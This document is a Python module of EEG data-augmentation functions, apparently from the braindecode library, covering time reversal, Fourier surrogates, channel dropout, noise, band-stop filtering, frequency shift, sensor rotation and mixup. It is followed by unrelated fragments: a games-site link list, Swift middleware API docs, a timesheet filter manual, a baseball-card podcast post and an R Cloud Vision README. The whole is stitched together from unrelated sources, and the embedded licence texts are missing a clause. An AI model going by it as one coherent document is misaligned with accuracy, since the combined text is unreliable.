# Authors: Cédric Rommel<EMAIL_ADDRESS># Alexandre Gramfort<EMAIL_ADDRESS>#
# License: BSD (3-clause)
from numbers import Real
import numpy as np
from scipy.interpolate import Rbf
from sklearn.utils import check_random_state
import torch
from torch.fft import fft, ifft
from torch.nn.functional import pad, one_hot
from mne.filter import notch_filter
[docs]def identity(X, y):
"""Identity operation.
Parameters
----------
X : torch.Tensor
EEG input example or batch.
y : torch.Tensor
EEG labels for the example or batch.
Returns
-------
torch.Tensor
Transformed inputs.
torch.Tensor
Transformed labels.
"""
return X, y
[docs]def time_reverse(X, y):
"""Flip the time axis of each input.
Parameters
----------
X : torch.Tensor
EEG input example or batch.
y : torch.Tensor
EEG labels for the example or batch.
Returns
-------
torch.Tensor
Transformed inputs.
torch.Tensor
Transformed labels.
"""
return torch.flip(X, [-1]), y
[docs]def sign_flip(X, y):
"""Flip the sign axis of each input.
Parameters
----------
X : torch.Tensor
EEG input example or batch.
y : torch.Tensor
EEG labels for the example or batch.
Returns
-------
torch.Tensor
Transformed inputs.
torch.Tensor
Transformed labels.
"""
return -X, y
def _new_random_fft_phase_odd(batch_size, c, n, device, random_state):
rng = check_random_state(random_state)
random_phase = torch.from_numpy(
2j * np.pi * rng.random((batch_size, c, (n - 1) // 2))
).to(device)
return torch.cat([
torch.zeros((batch_size, c, 1), device=device),
random_phase,
-torch.flip(random_phase, [-1])
], dim=-1)
def _new_random_fft_phase_even(batch_size, c, n, device, random_state):
rng = check_random_state(random_state)
random_phase = torch.from_numpy(
2j * np.pi * rng.random((batch_size, c, n // 2 - 1))
).to(device)
return torch.cat([
torch.zeros((batch_size, c, 1), device=device),
random_phase,
torch.zeros((batch_size, c, 1), device=device),
-torch.flip(random_phase, [-1])
], dim=-1)
_new_random_fft_phase = {
0: _new_random_fft_phase_even,
1: _new_random_fft_phase_odd
}
[docs]def ft_surrogate(
X,
y,
phase_noise_magnitude,
channel_indep,
random_state=None
):
"""FT surrogate augmentation of a single EEG channel, as proposed in [1]_.
Function copied from https://github.com/cliffordlab/sleep-convolutions-tf
and modified.
Parameters
----------
X : torch.Tensor
EEG input example or batch.
y : torch.Tensor
EEG labels for the example or batch.
phase_noise_magnitude: float
Float between 0 and 1 setting the range over which the phase
pertubation is uniformly sampled:
[0, `phase_noise_magnitude` * 2 * `pi`].
channel_indep : bool
Whether to sample phase perturbations independently for each channel or
not. It is advised to set it to False when spatial information is
important for the task, like in BCI.
random_state: int | numpy.random.Generator, optional
Used to draw the phase perturbation. Defaults to None.
Returns
-------
torch.Tensor
Transformed inputs.
torch.Tensor
Transformed labels.
References
----------
.. [1] Schwabedal, J. T., Snyder, J. C., Cakmak, A., Nemati, S., &
Clifford, G. D. (2018). Addressing Class Imbalance in Classification
Problems of Noisy Signals by using Fourier Transform Surrogates. arXiv
preprint arXiv:1806.08675.
"""
assert isinstance(
phase_noise_magnitude,
(Real, torch.FloatTensor, torch.cuda.FloatTensor)
) and 0 <= phase_noise_magnitude <= 1, (
f"eps must be a float beween 0 and 1. Got {phase_noise_magnitude}.")
f = fft(X.double(), dim=-1)
device = X.device
n = f.shape[-1]
random_phase = _new_random_fft_phase[n % 2](
f.shape[0],
f.shape[-2] if channel_indep else 1,
n,
device=device,
random_state=random_state
)
if not channel_indep:
random_phase = torch.tile(random_phase, (1, f.shape[-2], 1))
if isinstance(phase_noise_magnitude, torch.Tensor):
phase_noise_magnitude = phase_noise_magnitude.to(device)
f_shifted = f * torch.exp(phase_noise_magnitude * random_phase)
shifted = ifft(f_shifted, dim=-1)
transformed_X = shifted.real.float()
return transformed_X, y
def _pick_channels_randomly(X, p_pick, random_state):
rng = check_random_state(random_state)
batch_size, n_channels, _ = X.shape
# allows to use the same RNG
unif_samples = torch.as_tensor(
rng.uniform(0, 1, size=(batch_size, n_channels)),
dtype=torch.float,
device=X.device,
)
# equivalent to a 0s and 1s mask
return torch.sigmoid(1000*(unif_samples - p_pick))
[docs]def channels_dropout(X, y, p_drop, random_state=None):
"""Randomly set channels to flat signal.
Part of the CMSAugment policy proposed in [1]_
Parameters
----------
X : torch.Tensor
EEG input example or batch.
y : torch.Tensor
EEG labels for the example or batch.
p_drop : float
Float between 0 and 1 setting the probability of dropping each channel.
random_state : int | numpy.random.Generator, optional
Seed to be used to instantiate numpy random number generator instance.
Defaults to None.
Returns
-------
torch.Tensor
Transformed inputs.
torch.Tensor
Transformed labels.
References
----------
.. [1] Saeed, A., Grangier, D., Pietquin, O., & Zeghidour, N. (2020).
Learning from Heterogeneous EEG Signals with Differentiable Channel
Reordering. arXiv preprint arXiv:2010.13694.
"""
mask = _pick_channels_randomly(X, p_drop, random_state=random_state)
return X * mask.unsqueeze(-1), y
def _make_permutation_matrix(X, mask, random_state):
rng = check_random_state(random_state)
batch_size, n_channels, _ = X.shape
hard_mask = mask.round()
batch_permutations = torch.empty(
batch_size, n_channels, n_channels, device=X.device
)
for b, mask in enumerate(hard_mask):
channels_to_shuffle = torch.arange(n_channels)
channels_to_shuffle = channels_to_shuffle[mask.bool()]
channels_permutation = np.arange(n_channels)
channels_permutation[channels_to_shuffle] = rng.permutation(
channels_to_shuffle
)
channels_permutation = torch.as_tensor(
channels_permutation, dtype=torch.int64, device=X.device
)
batch_permutations[b, ...] = one_hot(channels_permutation)
return batch_permutations
[docs]def channels_shuffle(X, y, p_shuffle, random_state=None):
"""Randomly shuffle channels in EEG data matrix.
Part of the CMSAugment policy proposed in [1]_
Parameters
----------
X : torch.Tensor
EEG input example or batch.
y : torch.Tensor
EEG labels for the example or batch.
p_shuffle: float | None
Float between 0 and 1 setting the probability of including the channel
in the set of permutted channels.
random_state: int | numpy.random.Generator, optional
Seed to be used to instantiate numpy random number generator instance.
Used to sample which channels to shuffle and to carry the shuffle.
Defaults to None.
Returns
-------
torch.Tensor
Transformed inputs.
torch.Tensor
Transformed labels.
References
----------
.. [1] Saeed, A., Grangier, D., Pietquin, O., & Zeghidour, N. (2020).
Learning from Heterogeneous EEG Signals with Differentiable Channel
Reordering. arXiv preprint arXiv:2010.13694.
"""
if p_shuffle == 0:
return X, y
mask = _pick_channels_randomly(X, 1 - p_shuffle, random_state)
batch_permutations = _make_permutation_matrix(X, mask, random_state)
return torch.matmul(batch_permutations, X), y
[docs]def gaussian_noise(X, y, std, random_state=None):
"""Randomly add white Gaussian noise to all channels.
Suggested e.g. in [1]_, [2]_ and [3]_
Parameters
----------
X : torch.Tensor
EEG input example or batch.
y : torch.Tensor
EEG labels for the example or batch.
std : float
Standard deviation to use for the additive noise.
random_state: int | numpy.random.Generator, optional
Seed to be used to instantiate numpy random number generator instance.
Defaults to None.
Returns
-------
torch.Tensor
Transformed inputs.
torch.Tensor
Transformed labels.
References
----------
.. [1] Wang, F., Zhong, S. H., Peng, J., Jiang, J., & Liu, Y. (2018). Data
augmentation for eeg-based emotion recognition with deep convolutional
neural networks. In International Conference on Multimedia Modeling
(pp. 82-93).
.. [2] Cheng, J. Y., Goh, H., Dogrusoz, K., Tuzel, O., & Azemi, E. (2020).
Subject-aware contrastive learning for biosignals. arXiv preprint
arXiv:2007.04871.
.. [3] Mohsenvand, M. N., Izadi, M. R., & Maes, P. (2020). Contrastive
Representation Learning for Electroencephalogram Classification. In
Machine Learning for Health (pp. 238-253). PMLR.
"""
rng = check_random_state(random_state)
if isinstance(std, torch.Tensor):
std = std.to(X.device)
noise = torch.from_numpy(
rng.normal(
loc=np.zeros(X.shape),
scale=1
),
).float().to(X.device) * std
transformed_X = X + noise
return transformed_X, y
[docs]def channels_permute(X, y, permutation):
"""Permute EEG channels according to fixed permutation matrix.
Suggested e.g. in [1]_
Parameters
----------
X : torch.Tensor
EEG input example or batch.
y : torch.Tensor
EEG labels for the example or batch.
permutation : list
List of integers defining the new channels order.
Returns
-------
torch.Tensor
Transformed inputs.
torch.Tensor
Transformed labels.
References
----------
.. [1] Deiss, O., Biswal, S., Jin, J., Sun, H., Westover, M. B., & Sun, J.
(2018). HAMLET: interpretable human and machine co-learning technique.
arXiv preprint arXiv:1803.09702.
"""
return X[..., permutation, :], y
[docs]def smooth_time_mask(X, y, mask_start_per_sample, mask_len_samples):
"""Smoothly replace a contiguous part of all channels by zeros.
Originally proposed in [1]_ and [2]_
Parameters
----------
X : torch.Tensor
EEG input example or batch.
y : torch.Tensor
EEG labels for the example or batch.
mask_start_per_sample : torch.tensor
Tensor of integers containing the position (in last dimension) where to
start masking the signal. Should have the same size as the first
dimension of X (i.e. one start position per example in the batch).
mask_len_samples : int
Number of consecutive samples to zero out.
Returns
-------
torch.Tensor
Transformed inputs.
torch.Tensor
Transformed labels.
References
----------
.. [1] Cheng, J. Y., Goh, H., Dogrusoz, K., Tuzel, O., & Azemi, E. (2020).
Subject-aware contrastive learning for biosignals. arXiv preprint
arXiv:2007.04871.
.. [2] Mohsenvand, M. N., Izadi, M. R., & Maes, P. (2020). Contrastive
Representation Learning for Electroencephalogram Classification. In
Machine Learning for Health (pp. 238-253). PMLR.
"""
batch_size, n_channels, seq_len = X.shape
t = torch.arange(seq_len, device=X.device).float()
t = t.repeat(batch_size, n_channels, 1)
mask_start_per_sample = mask_start_per_sample.view(-1, 1, 1)
s = 1000 / seq_len
mask = (torch.sigmoid(s * -(t - mask_start_per_sample)) +
torch.sigmoid(s * (t - mask_start_per_sample - mask_len_samples))
).float().to(X.device)
return X * mask, y
[docs]def bandstop_filter(X, y, sfreq, bandwidth, freqs_to_notch):
"""Apply a band-stop filter with desired bandwidth at the desired frequency
position.
Suggested e.g. in [1]_ and [2]_
Parameters
----------
X : torch.Tensor
EEG input example or batch.
y : torch.Tensor
EEG labels for the example or batch.
sfreq : float
Sampling frequency of the signals to be filtered.
bandwidth : float
Bandwidth of the filter, i.e. distance between the low and high cut
frequencies.
freqs_to_notch : array-like | None
Array of floats of size ``(batch_size,)`` containing the center of the
frequency band to filter out for each sample in the batch. Frequencies
should be greater than ``bandwidth/2 + transition`` and lower than
``sfreq/2 - bandwidth/2 - transition`` (where ``transition = 1 Hz``).
Returns
-------
torch.Tensor
Transformed inputs.
torch.Tensor
Transformed labels.
References
----------
.. [1] Cheng, J. Y., Goh, H., Dogrusoz, K., Tuzel, O., & Azemi, E. (2020).
Subject-aware contrastive learning for biosignals. arXiv preprint
arXiv:2007.04871.
.. [2] Mohsenvand, M. N., Izadi, M. R., & Maes, P. (2020). Contrastive
Representation Learning for Electroencephalogram Classification. In
Machine Learning for Health (pp. 238-253). PMLR.
"""
if bandwidth == 0:
return X, y
transformed_X = X.clone()
for c, (sample, notched_freq) in enumerate(
zip(transformed_X, freqs_to_notch)):
sample = sample.cpu().numpy().astype(np.float64)
transformed_X[c] = torch.as_tensor(notch_filter(
sample,
Fs=sfreq,
freqs=notched_freq,
method='fir',
notch_widths=bandwidth,
verbose=False
))
return transformed_X, y
def _analytic_transform(x):
if torch.is_complex(x):
raise ValueError("x must be real.")
N = x.shape[-1]
f = fft(x, N, dim=-1)
h = torch.zeros_like(f)
if N % 2 == 0:
h[..., 0] = h[..., N // 2] = 1
h[..., 1:N // 2] = 2
else:
h[..., 0] = 1
h[..., 1:(N + 1) // 2] = 2
return ifft(f * h, dim=-1)
def _nextpow2(n):
"""Return the first integer N such that 2**N >= abs(n)."""
return int(np.ceil(np.log2(np.abs(n))))
def _frequency_shift(X, fs, f_shift):
"""
Shift the specified signal by the specified frequency.
See https://gist.github.com/lebedov/4428122
"""
# Pad the signal with zeros to prevent the FFT invoked by the transform
# from slowing down the computation:
n_channels, N_orig = X.shape[-2:]
N_padded = 2 ** _nextpow2(N_orig)
t = torch.arange(N_padded, device=X.device) / fs
padded = pad(X, (0, N_padded - N_orig))
analytical = _analytic_transform(padded)
if isinstance(f_shift, (float, int, np.ndarray, list)):
f_shift = torch.as_tensor(f_shift).float()
f_shift_stack = f_shift.repeat(N_padded, n_channels, 1)
reshaped_f_shift = f_shift_stack.permute(
*torch.arange(f_shift_stack.ndim - 1, -1, -1))
shifted = analytical * torch.exp(2j * np.pi * reshaped_f_shift * t)
return shifted[..., :N_orig].real.float()
[docs]def frequency_shift(X, y, delta_freq, sfreq):
"""Adds a shift in the frequency domain to all channels.
Note that here, the shift is the same for all channels of a single example.
Parameters
----------
X : torch.Tensor
EEG input example or batch.
y : torch.Tensor
EEG labels for the example or batch.
delta_freq : float
The amplitude of the frequency shift (in Hz).
sfreq : float
Sampling frequency of the signals to be transformed.
Returns
-------
torch.Tensor
Transformed inputs.
torch.Tensor
Transformed labels.
"""
transformed_X = _frequency_shift(
X=X,
fs=sfreq,
f_shift=delta_freq,
)
return transformed_X, y
def _torch_normalize_vectors(rr):
"""Normalize surface vertices."""
norm = torch.linalg.norm(rr, axis=1, keepdim=True)
mask = (norm > 0)
norm[~mask] = 1 # in case norm is zero, divide by 1
new_rr = rr / norm
return new_rr
def _torch_legval(x, c, tensor=True):
"""
Evaluate a Legendre series at points x.
If `c` is of length `n + 1`, this function returns the value:
.. math:: p(x) = c_0 * L_0(x) + c_1 * L_1(x) + ... + c_n * L_n(x)
The parameter `x` is converted to an array only if it is a tuple or a
list, otherwise it is treated as a scalar. In either case, either `x`
or its elements must support multiplication and addition both with
themselves and with the elements of `c`.
If `c` is a 1-D array, then `p(x)` will have the same shape as `x`. If
`c` is multidimensional, then the shape of the result depends on the
value of `tensor`. If `tensor` is true the shape will be c.shape[1:] +
x.shape. If `tensor` is false the shape will be c.shape[1:]. Note that
scalars have shape (,).
Trailing zeros in the coefficients will be used in the evaluation, so
they should be avoided if efficiency is a concern.
Parameters
----------
x : array_like, compatible object
If `x` is a list or tuple, it is converted to an ndarray, otherwise
it is left unchanged and treated as a scalar. In either case, `x`
or its elements must support addition and multiplication with
with themselves and with the elements of `c`.
c : array_like
Array of coefficients ordered so that the coefficients for terms of
degree n are contained in c[n]. If `c` is multidimensional the
remaining indices enumerate multiple polynomials. In the two
dimensional case the coefficients may be thought of as stored in
the columns of `c`.
tensor : boolean, optional
If True, the shape of the coefficient array is extended with ones
on the right, one for each dimension of `x`. Scalars have dimension 0
for this action. The result is that every column of coefficients in
`c` is evaluated for every element of `x`. If False, `x` is broadcast
over the columns of `c` for the evaluation. This keyword is useful
when `c` is multidimensional. The default value is True.
.. versionadded:: 1.7.0
Returns
-------
values : ndarray, algebra_like
The shape of the return value is described above.
See Also
--------
legval2d, leggrid2d, legval3d, leggrid3d
Notes
-----
Code copied and modified from Numpy:
https://github.com/numpy/numpy/blob/v1.20.0/numpy/polynomial/legendre.py#L835-L920
Copyright (c) 2005-2021, NumPy Developers.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following
disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of the NumPy Developers nor the names of any
contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
 IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""
c = torch.as_tensor(c)
c = c.double()
if isinstance(x, (tuple, list)):
x = torch.as_tensor(x)
if isinstance(x, torch.Tensor) and tensor:
c = c.view(c.shape + (1,)*x.ndim)
c = c.to(x.device)
if len(c) == 1:
c0 = c[0]
c1 = 0
elif len(c) == 2:
c0 = c[0]
c1 = c[1]
else:
nd = len(c)
c0 = c[-2]
c1 = c[-1]
for i in range(3, len(c) + 1):
tmp = c0
nd = nd - 1
c0 = c[-i] - (c1*(nd - 1))/nd
c1 = tmp + (c1*x*(2*nd - 1))/nd
return c0 + c1*x
def _torch_calc_g(cosang, stiffness=4, n_legendre_terms=50):
"""Calculate spherical spline g function between points on a sphere.
Parameters
----------
cosang : array-like of float, shape(n_channels, n_channels)
cosine of angles between pairs of points on a spherical surface. This
is equivalent to the dot product of unit vectors.
stiffness : float
stiffness of the spline.
n_legendre_terms : int
number of Legendre terms to evaluate.
Returns
-------
G : np.ndrarray of float, shape(n_channels, n_channels)
The G matrix.
Notes
-----
Code copied and modified from MNE-Python:
https://github.com/mne-tools/mne-python/blob/bdaa1d460201a3bc3cec95b67fc2b8d31a933652/mne/channels/interpolation.py#L35
Copyright © 2011-2019, authors of MNE-Python
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
 IN NO EVENT SHALL COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
"""
factors = [(2 * n + 1) / (n ** stiffness * (n + 1) ** stiffness *
4 * np.pi)
for n in range(1, n_legendre_terms + 1)]
return _torch_legval(cosang, [0] + factors)
def _torch_make_interpolation_matrix(pos_from, pos_to, alpha=1e-5):
"""Compute interpolation matrix based on spherical splines.
Implementation based on [1]_
Parameters
----------
pos_from : np.ndarray of float, shape(n_good_sensors, 3)
The positions to interpoloate from.
pos_to : np.ndarray of float, shape(n_bad_sensors, 3)
The positions to interpoloate.
alpha : float
Regularization parameter. Defaults to 1e-5.
Returns
-------
interpolation : np.ndarray of float, shape(len(pos_from), len(pos_to))
The interpolation matrix that maps good signals to the location
of bad signals.
References
----------
[1] Perrin, F., Pernier, J., Bertrand, O. and Echallier, JF. (1989).
Spherical splines for scalp potential and current density mapping.
Electroencephalography Clinical Neurophysiology, Feb; 72(2):184-7.
Notes
-----
Code copied and modified from MNE-Python:
https://github.com/mne-tools/mne-python/blob/bdaa1d460201a3bc3cec95b67fc2b8d31a933652/mne/channels/interpolation.py#L59
Copyright © 2011-2019, authors of MNE-Python
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
 IN NO EVENT SHALL COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
"""
pos_from = pos_from.clone()
pos_to = pos_to.clone()
n_from = pos_from.shape[0]
n_to = pos_to.shape[0]
# normalize sensor positions to sphere
pos_from = _torch_normalize_vectors(pos_from)
pos_to = _torch_normalize_vectors(pos_to)
# cosine angles between source positions
cosang_from = torch.matmul(pos_from, pos_from.T)
cosang_to_from = torch.matmul(pos_to, pos_from.T)
G_from = _torch_calc_g(cosang_from)
G_to_from = _torch_calc_g(cosang_to_from)
assert G_from.shape == (n_from, n_from)
assert G_to_from.shape == (n_to, n_from)
if alpha is not None:
G_from.flatten()[::len(G_from) + 1] += alpha
device = G_from.device
C = torch.vstack([
torch.hstack([G_from, torch.ones((n_from, 1), device=device)]),
torch.hstack([
torch.ones((1, n_from), device=device),
torch.as_tensor([[0]], device=device)])
])
try:
C_inv = torch.linalg.inv(C)
except torch._C._LinAlgError:
# There is a stability issue with pinv since torch v1.8.0
# see https://github.com/pytorch/pytorch/issues/75494
C_inv = torch.linalg.pinv(C.cpu()).to(device)
interpolation = torch.hstack([
G_to_from,
torch.ones((n_to, 1), device=device)
]).matmul(C_inv[:, :-1])
assert interpolation.shape == (n_to, n_from)
return interpolation
def _rotate_signals(X, rotations, sensors_positions_matrix, spherical=True):
sensors_positions_matrix = sensors_positions_matrix.to(X.device)
rot_sensors_matrices = [
rotation.matmul(sensors_positions_matrix) for rotation in rotations
]
if spherical:
interpolation_matrix = torch.stack(
[torch.as_tensor(
_torch_make_interpolation_matrix(
sensors_positions_matrix.T, rot_sensors_matrix.T
), device=X.device
).float() for rot_sensors_matrix in rot_sensors_matrices]
)
return torch.matmul(interpolation_matrix, X)
else:
transformed_X = X.clone()
sensors_positions = list(sensors_positions_matrix)
for s, rot_sensors_matrix in enumerate(rot_sensors_matrices):
rot_sensors_positions = list(rot_sensors_matrix.T)
for time in range(X.shape[-1]):
interpolator_t = Rbf(*sensors_positions, X[s, :, time])
transformed_X[s, :, time] = torch.from_numpy(
interpolator_t(*rot_sensors_positions)
)
return transformed_X
def _make_rotation_matrix(axis, angle, degrees=True):
assert axis in ['x', 'y', 'z'], "axis should be either x, y or z."
if isinstance(angle, (float, int, np.ndarray, list)):
angle = torch.as_tensor(angle)
if degrees:
angle = angle * np.pi / 180
device = angle.device
zero = torch.zeros(1, device=device)
rot = torch.stack([
torch.as_tensor([1, 0, 0], device=device),
torch.hstack([zero, torch.cos(angle), -torch.sin(angle)]),
torch.hstack([zero, torch.sin(angle), torch.cos(angle)]),
])
if axis == "x":
return rot
elif axis == "y":
rot = rot[[2, 0, 1], :]
return rot[:, [2, 0, 1]]
else:
rot = rot[[1, 2, 0], :]
return rot[:, [1, 2, 0]]
[docs]def sensors_rotation(X, y, sensors_positions_matrix, axis, angles,
spherical_splines):
"""Interpolates EEG signals over sensors rotated around the desired axis
with the desired angle.
Suggested in [1]_
Parameters
----------
X : torch.Tensor
EEG input example or batch.
y : torch.Tensor
EEG labels for the example or batch.
sensors_positions_matrix : numpy.ndarray
Matrix giving the positions of each sensor in a 3D cartesian coordinate
system. Should have shape (3, n_channels), where n_channels is the
number of channels. Standard 10-20 positions can be obtained from
``mne`` through::
>>> ten_twenty_montage = mne.channels.make_standard_montage(
... 'standard_1020'
... ).get_positions()['ch_pos']
axis : 'x' | 'y' | 'z'
Axis around which to rotate.
angles : array-like
Array of float of shape ``(batch_size,)`` containing the rotation
angles (in degrees) for each element of the input batch.
spherical_splines : bool
Whether to use spherical splines for the interpolation or not. When
`False`, standard scipy.interpolate.Rbf (with quadratic kernel) will be
used (as in the original paper).
References
----------
.. [1] Krell, M. M., & Kim, S. K. (2017). Rotational data augmentation for
electroencephalographic data. In 2017 39th Annual International
Conference of the IEEE Engineering in Medicine and Biology Society
(EMBC) (pp. 471-474).
"""
rots = [
_make_rotation_matrix(axis, angle, degrees=True)
for angle in angles
]
rotated_X = _rotate_signals(
X, rots, sensors_positions_matrix, spherical_splines
)
return rotated_X, y
[docs]def mixup(X, y, lam, idx_perm):
"""Mixes two channels of EEG data.
See [1]_ for details.
Implementation based on [2]_.
Parameters
----------
X : torch.Tensor
EEG data in form ``batch_size, n_channels, n_times``
y : torch.Tensor
Target of length ``batch_size``
lam : torch.Tensor
Values between 0 and 1 setting the linear interpolation between
examples.
idx_perm: torch.Tensor
Permuted indices of example that are mixed into original examples.
Returns
-------
tuple
``X``, ``y``. Where ``X`` is augmented and ``y`` is a tuple of length
3 containing the labels of the two mixed channels and the mixing
coefficient.
References
----------
.. [1] Hongyi Zhang, Moustapha Cisse, Yann N. Dauphin, David Lopez-Paz
(2018). mixup: Beyond Empirical Risk Minimization. In 2018
International Conference on Learning Representations (ICLR)
Online: https://arxiv.org/abs/1710.09412
.. [2] https://github.com/facebookresearch/mixup-cifar10/blob/master/train.py
"""
device = X.device
batch_size, n_channels, n_times = X.shape
X_mix = torch.zeros((batch_size, n_channels, n_times)).to(device)
y_a = torch.arange(batch_size).to(device)
y_b = torch.arange(batch_size).to(device)
for idx in range(batch_size):
X_mix[idx] = lam[idx] * X[idx] \
+ (1 - lam[idx]) * X[idx_perm[idx]]
y_a[idx] = y[idx]
y_b[idx] = y[idx_perm[idx]]
return X_mix, (y_a, y_b, lam)


Empire | Mario | Donkey Kong | Sonic | Pacman | Space Invaders | Galaga | Frogger | Qbert | Asteroids | Pong | Tennis | Solitaire | Mahjong | Minesweeper | Simon
Smashing Games | Best Games | Cool Games | Fun Games | Full Screen Games | Privacy | Copyright


SideEffectMiddleware
public protocol SideEffectMiddleware : Middleware
Defines a protocol for implementing a middleware that executes RxSwift
or ReactiveSwift
side-effects. Instead of implementing the regular handle(event:getState:next:)
and handle(action:getState:next:)
methods, this protocol only requires a mapping from EventProtocol
to SideEffectProducer
.
-
Allows the following middlewares in the chain to have a chance of handling the same events already handled
Declaration
Swift
var allowEventToPropagate: Bool { get }
-
A bag that owns the lifetime of each
SideEffectProducer
observation, usually thisSubscriptionOwner
will be a stored property in theSideEffectMiddleware
instanceDeclaration
Swift
var subscriptionOwner: SubscriptionOwner { get }
-
Maps the incoming event to the proper
SideEffectProducer
, wrapped in a type-eraserAnySideEffectProducer
Declaration
Swift
func sideEffect(for event: EventProtocol) -> AnySideEffectProducer<StateType>?
-
handle(event:getState:next:)
Extension methodHandles the incoming events and may trigger side-effects, may trigger actions, may start an asynchronous operation.
Declaration
Swift
public func handle(event: EventProtocol, getState: @escaping GetState<StateType>, next: @escaping NextEventHandler<StateType>)
Parameters
event
the event to be handled
getState
a function that can be used to get the current state at any point in time
next
the next `Middleware in the chain, probably we want to call this method in some point of our method (not necessarily in the end.
-
handle(action:getState:next:)
Extension methodHandles the incoming actions and may change them or trigger additional ones. Usually this is not the best place to start side-effects or trigger new actions, it should be more as an observation point for tracking, logging and telemetry.
Declaration
Swift
public func handle(action: ActionProtocol, getState: @escaping GetState<StateType>, next: @escaping NextActionHandler<StateType>)
Parameters
action
the action to be handled
getState
a function that can be used to get the current state at any point in time
next
the next
Middleware
in the chain, probably we want to call this method in some point of our method (not necessarily in the end. When this is the last middleware in the pipeline, the next function will call theReducer
pipeline.


stnfilter
stnfilter OPTIONS [INPUT_FILENAME] [OUTPUT_FILENAME]
stnfilter is a standard timesheet notation filter. stnfilter will filter the output from stnparse based on date or matching text.
Filter TimeSheet.tab from July 4, 2015 through July 14, 2015 and render a stream of JSON blobs.
stnfilter -start 2015-07-04 -end 2015-07-14 -json TimeSheet.tab
To render the same in a tab delimited output
stnfilter -start 2015-07-04 -end 2015-07-14 TimeSheet.tab
Typical usage would be in a pipeline with Unix stnparse
stnparse Time_Sheet.txt | stnfilter -start 2015-07-06 -end 2015-07-010
Matching a project name “Fred” for the same week would look like
stnparse Time_Sheet.txt | stnfilter s -start 2015-07-06 -end 2015-07-010 -match Fred


--- layout: post status: publish published: true title: Podcast 4.49 - Baseball Cards author: display_name: Corey Fineran login: Corey email<EMAIL_ADDRESS>url: '' author_login: Corey author_email<EMAIL_ADDRESS>wordpress_id: 8058 wordpress_url: http://ivyenvy.com/?p=8058 date: '2012-12-25 07:07:16 +0000' date_gmt: '2012-12-25 13:07:16 +0000' categories: - Podcast tags: - Podcast - Baseball Cards comments: [] ---
We broadcast live and record on Tuesday evenings. Since today is Christmas, we are doing something different this week. In 2009, we did an off-season episode on baseball cards. We pulled out our collections and conducted a tournament of goofy 80's baseball cards.
This episode definitely has a visual element to it. You can see the photos of all the cards we discuss by going to the original post - http://ivyenvy.com/cards.
Enjoy this episode and Happy Holidays.


R Package for Image Recognition, Object Detection, and OCR using the Google Cloud Vision API.
Cloud Vision API enables developers to understand the content of an image by encapsulating powerful machine learning models in an easy-to-use REST API. It quickly classifies images into thousands of categories (such as, “sailboat”), detects individual objects and faces within images, and reads printed words contained within images. You can build metadata on your image catalog, moderate offensive content, or enable new marketing scenarios through image sentiment analysis.
Read more on the capabilities of the Google Cloud Vision API.
This package allows you to call the following functionalities: label, text, landmark, face and logo detection.
The project is a continuation of the RoogleVision package by Florian Teschner and is relying on the authentication procedures offered by googleAuthR.
WARNING: the project is in active development and is not guaranteed to be stable in terms of function names, signatures, etc. Contributions through issues, pull requests are more than welcome.
v0.1.0 is already available on CRAN, you can install it with:
If you need the latest version, just install the package directly from Github:
You should use a .json
file pertaining to a service account for authentication whose path you should specify in an environment variable GCV_AUTH_FILE
for auto-authentication:
This can alternatively be set on the command line or via an Renviron.site
or .Renviron
file (see here for instructions).
If this is set, upon loading the package authentication happens automatically.
Let us retrieve annotations for this image:
Label detection (default), with maximum 7 results returned per image:
imagePath <- system.file(
"extdata", "golden_retriever_puppies.jpg", package = "googleCloudVisionR"
)
